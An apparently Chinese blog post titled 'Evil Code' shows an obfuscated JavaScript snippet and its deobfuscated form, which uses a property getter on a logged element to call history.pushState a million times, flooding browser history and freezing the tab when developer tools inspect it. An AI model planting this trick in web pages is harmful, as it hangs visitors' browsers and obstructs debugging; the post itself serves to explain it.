Evil Code

1
2
3
<script>
eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}("1 2=c.3('8');4.b(2,'5',{6:7(){1 a=\"\";9(1 i=0;i<d;i++){a=a+i.e();f.g(0,0,a)}}});h.j(2);",20,20," var x createElement Object id get function div for defineProperty document 1000000 toString history pushState console log".split(" "),0,{}));
</script>

混淆过后的,会疯狂写入历史数据,混淆前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'use strict';
/** [url=home.php?mod=space&uid=26679]@Type[/url] {!Element} */
var x = document.createElement("div");
Object.defineProperty(x, "id", {
get : function() {
/** @type {string} */
var definitionLineHash = "";
/** @type {number} */
var default_favicon = 0;
for (; default_favicon < 1000000; default_favicon++) {
/** @type {string} */
definitionLineHash = definitionLineHash + default_favicon.toString();
history.pushState(0, 0, definitionLineHash);
}
}
});
console.log(x);

Comments

You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.